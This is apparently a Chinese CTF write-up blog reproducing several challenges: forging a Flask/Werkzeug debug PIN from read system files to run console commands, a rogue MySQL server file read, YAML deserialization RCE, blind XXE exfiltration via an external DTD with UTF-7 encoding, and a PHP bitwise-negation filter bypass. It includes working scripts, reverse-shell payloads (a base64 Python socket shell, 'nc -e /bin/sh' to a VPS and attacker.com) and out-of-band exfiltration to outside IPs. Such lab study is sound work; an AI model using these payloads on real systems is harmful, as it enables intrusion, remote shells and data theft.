?ctf 好像什么都能读(复现
PIN码
Flask 的 debug 模式会提供一个强大的交互式调试器,这个调试器本质上可以在服务器上执行任意代码。
为了防止未授权用户滥用调试器,werkzeug 会生成一个 PIN 码。首次访问调试页面时,需要输入这个 PIN码才能解锁调试功能。
参考博客
pin码主要由六个参数构成:
probably_public_bits 公钥部分
1.username:执行代码时的用户名,读/etc/passwd这个文件
2.appname:固定值,默认是 Flask
3.modname:固定值,默认是 flask.app
4.moddir: app.py 文件所在路径,一般可以通过查看debug报错信息获得
private_bits 私钥部分:
1.uuid:通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制
2.machine_id:首先读取 /etc/machine-id ,如果有值则不读取取/proc/sys/kernel/random/boot_id ,否则读取该文件。接着读取 /proc/self/cgroup ,取第一行的/ 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id
脚本如下:
import hashlibfrom itertools import chain
# 可能是公开的信息部分probably_public_bits = [ 'ctf', # /etc/passwd 'flask.app', # 默认值 'Flask', # 默认值 '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # moddir,报错得到]
# 私有信息部分private_bits = [ '235821916857788', # /sys/class/net/eth0/address 十进制 '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' # machine-id部分]
# 创建哈希对象h = hashlib.sha1()
# 迭代可能公开和私有的信息进行哈希计算for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)
# 加盐处理h.update(b'cookiesalt')
# 生成 cookie 名称cookie_name = '__wzd' + h.hexdigest()[:20]print(cookie_name)
# 生成 pin 码num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
# 格式化 pin 码rv = Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
/etc/passwd
报错得到绝对位置,同时得到secret

/sys/class/net/eth0/address将得到的数字去掉冒号后化为十进制

/proc/sys/kernel/random/boot_id得到machine-id
获取cookie:
GET /console?__debugger__=yes&cmd=pinauth&pin=699-028-928&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Accept: */*Referer: http://challenge.ilovectf.cn:30100/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close
接着构造执行指令:
GET /console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Accept: */*Referer: http://challenge.ilovectf.cn:30100/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1Content-Length: 0Connection: keep aliveCookie: __wzd107814efcb0578d5dd6c=1764312795|27de6bf38216; HttpOnly; Path=/; SameSite=Strict
?CTF复现 mysql管理工具
利用了老版本mysql的漏洞获取读取文件的权限
也有现成执行文件
https://github.com/allyshka/Rogue-MySql-Server(看文件就知道是老东西了
题解
先说这道题吧

先是一个登录页面,听名字以为是sql注入,但是测试没有发现注入点,看源码发现是弱口令,藏在源码里
![]()

抓包看看,猜测是拟造cookie密钥

这格式就很jwt
爆破一下key

然后就可以拟写jwt了

失败了,看了wp后才知道这道题要用到上面那个东西,伪造一个服务端,接收命令,不知道为什么,python脚本用不了,最后我是用项目中的linux版本运行的

放到vps上,然后配置文件

如图
host接收所有IP,开放3309端口,然后查看源码,需要配置的基本就这些

可以看到已经读到源码了,cat一下

源码审计……看不出什么,喂给ai
@app.route('/uneed1t', methods=['GET'])def uneed1t(): data = request.args.get('data', '') if data == '': return jsonify({"result": "null"}) try:
black_list = [ "system", "popen", "run", "os" ]
for forb in black_list: if forb in data: return jsonify({"result":"error"})
yaml.load(data, Loader=yaml.Loader)
return jsonify({"result": "ok"}) except Exception as e: return jsonify({"result":"error"})ai说这一段存在yaml反序列化,但是有黑名单,采用在vps上弹shell的方式
#任意⽂件读的利⽤
!!python/object/apply:subprocess.Popen- ["sh","-c","cat /f* >1.txt"]#弹shell 可以起socket去打
!!python/object/apply:subprocess.Popen- ["python", "-c", "import base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ"' ';exp=base64.b64decode(base64exp).decode();exec(exp)"]!!python/object/apply:subprocess.call [['/bin/busybox','nc','vps的ip地 址','nc监听端⼝','-e','/bin/sh']]首先要在vps上安装nc,然后要确保你选择的端口开放了,就可以执行命令了

关于yaml反序列化
1. 代码层面的识别标志
关键函数调用
python
# 危险的使用方式yaml.load(data) # 默认使用不安全的 Loaderyaml.load(data, Loader=yaml.Loader) # 显式使用不安全的 Loader
# 安全的使用方式yaml.safe_load(data) # 安全yaml.load(data, Loader=yaml.SafeLoader) # 安全用户输入直接传递给 yaml.load()
python
# 危险模式 - 用户可控输入直接反序列化data = request.args.get('data') # 来自用户输入data = request.json['data'] # 来自用户输入yaml.load(data) # 直接反序列化2. YAML 反序列化的特殊语法特征
Python 对象构造标记
yaml
# !!python/object 创建 Python 对象!!python/object:os.system!!python/object:subprocess.Popen
# !!python/object/apply 调用函数!!python/object/apply:os.system- "whoami"
# !!python/object/new 创建新实例!!python/object/new:os.system特殊标签前缀
yaml
!!python/object:module.classname # Python 对象!!python/name:module.function # Python 名称!!python/module:package.module # Python 模块!!python/attr:object.attribute # Python 属性3. 攻击载荷的常见模式
命令执行载荷
yaml
# 直接系统命令!!python/object/apply:os.system ["id"]
# 使用 subprocess!!python/object/apply:subprocess.Popen- ["cat", "/etc/passwd"]
# 链式调用!!python/object/apply:__import__ ["os"]args: ["system"]- ["whoami"]文件操作载荷
yaml
# 读取文件!!python/object/apply:open- ["/etc/passwd", "r"]
# 写入文件!!python/object/apply:open- ["/tmp/backdoor.py", "w"]- ["__import__('os').system('nc -e /bin/sh attacker.com 4444')"]4. 漏洞存在的上下文环境
危险的使用场景
python
# 场景1: 配置加载config = yaml.load(user_provided_config)
# 场景2: 数据交换data = yaml.load(request.data)
# 场景3: 缓存反序列化cached_data = yaml.load(redis.get('user_data'))
# 场景4: API 参数处理@app.route('/load')def load_data(): data = request.args.get('yaml_data') return yaml.load(data) # 危险!5. 识别技巧总结
代码审计时关注:
- 导入语句:
import yaml或from yaml import load - 函数调用: 查找
yaml.load()调用 - 参数来源: 检查参数是否来自用户输入
- Loader 类型: 确认是否使用不安全的 Loader
先粗略的了解一下,以后系统性的学习
查查忆(复现
看源码提示
<!--flag in /f1111llllaa44g-->这是一道xml但是过滤了伪协议关键字与<!ENTITY,而且还无回显,无回显的话用vps外带,过滤用utf-7编码绕过
1.xml内容,这里我在1.dtd当前目录起了一个pyhton服务器,因为dtd必须要能公网访问到,然后vps监听5000端口
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE a [<!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd">%dtd;%code;%send;]>1.dtd的内容,使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器,(==1.dtd内部的%号要进行实体编码成%==。这里卡我半天,因为wp这里错了)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g"><!ENTITY % code "<!ENTITY % send SYSTEM 'http://81.71.18.95:11111/%file;'>">用cyberchef将xml文件编写一下,变成UTF-7进行绕过

<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE+ACA-a+ACA-+AFs-+AA0-+AAo-+ADw-+ACE-ENTITY+ACA-+ACU-+ACA-dtd+ACA-SYSTEM+ACA-+ACI-http://81.71.18.95/1.dtd+ACI-+AD4-+AA0-+AAo-+ACU-dtd+ADs-+ACU-code+ADs-+ACU-send+ADs-+AA0-+AAo-+AF0-+AD4-
先起一个http接收端在1.dtd所在的目录
然后监听dtd文件中所用的执行端口(我这里是11111端口,这里需要保证接收端口和执行端口都开放

然后就能获取到flag,解码一下就行了
ezphp(复现
<?phperror_reporting(0);highlight_file(__FILE__);$code = $_GET['c1n_y0.u g3t+fl&g?'];if(preg_match("/[A-Za-z0-9]+/",$code)){ die("hacker!");}if(strlen($code)>14){ die("is tooooooooooooooooooo long!");}echo "Flag is in flag.php~~ (local).";@eval($code);?> Flag is in flag.php~~ (local).第一步,不合法参数名,用[代替_,再url编码
?c1n[y0.u%20g3t%2Bfl%26g%3F之后取反绕过,附上一个用的脚本
#!/usr/bin/env python3import sys
def generate_negation_payload(input_str): """生成PHP取反Payload""" negated_bytes = [] for char in input_str: negated = (~ord(char)) & 0xFF negated_bytes.append(negated)
urlencoded = ''.join(['%' + format(byte, '02X') for byte in negated_bytes]) param_payload = f'$_=~{urlencoded};`$_`;'
return urlencoded, param_payload
def main(): print("PHP取反Payload生成器 (Ctrl+C 或输入 exit 退出)") print("-" * 50)
while True: try: # 获取输入 user_input = input("\n请输入需要取反的字符串 (例如: ls /): ").strip()
if not user_input: continue
if user_input.lower() in ['exit', 'quit', 'q']: print("退出程序") break
# 生成结果 urlencoded, param_payload = generate_negation_payload(user_input)
# 输出 print(f"取反后的URL编码: {urlencoded}") print(f"传参用Payload (浏览器自动解码):") print(f"{param_payload}")
except KeyboardInterrupt: print("\n\n程序已终止") break except Exception as e: print(f"错误: {e}")
if __name__ == "__main__": main()
$_=~%C1%9C%9E%8B;`$_`;$_=~%D5%DF%C1%C2;`$_`;然后访问/=就可以获得日志

部分信息可能已经过时









